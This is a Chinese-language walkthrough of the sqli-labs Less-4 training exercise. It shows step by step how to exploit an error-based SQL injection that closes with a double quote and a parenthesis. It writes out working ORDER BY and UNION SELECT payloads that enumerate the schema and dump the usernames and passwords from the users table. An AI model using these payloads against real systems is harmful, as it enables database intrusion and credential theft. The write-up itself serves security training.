Less-4 GET - Error based - Double Quotes - String
一、判断是否存在注入点
使用 单引号 ’ , 双引号 " 判断是否有注入点;
当输入单引号正常返回,而输入双引号时报错,所以存在注入点,根据报错信息;
根据报错信息,这是以双引号 和 括号做闭合的。
通过查看源代码也可以看出它的闭合规则应该是双引号加括号;
二、判断注入类型
用减法判断注入类型;
当id=1 时,返回结果Dumb
当id=2-1时,返回Angelina
结果不一致,所以时字符型注入;
三、破解 SQL 查询语句中的字段数
构造order by N
1") order by 4--+
order by 3时,正常返回,by 4 时报错;
所以,可以得出字段数有三列;
四、获取当前数据库
构造union select 获取当前数据库
-1") union select 1, 2,database()--+
得到当前数据库名称为 security
五、获取数据库中的表
根据数据库名,获取表名 ,关键表是 information_schema.tables ,字段名table_name
构造 union select
-1") union select 1, 2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
由此获得表名:emails,referers,uagents,users
六、获取表中的字段名
以users为例,根据表名,获取字段名,关键表时 information_schema.columns ,表名时 column_name
构造 union select
-1") union select 1, 2,group_concat(column_name) from information_schema.columns where table_name='users'--+
获得字段名:id,username,password
七、查询到账户的数据
根据表名、字段名;获取数据
构造 union select
-1") union select 1, 2,group_concat(username,':',password) from users--+
核心还是根据报错信息,推出查询的SQL语句。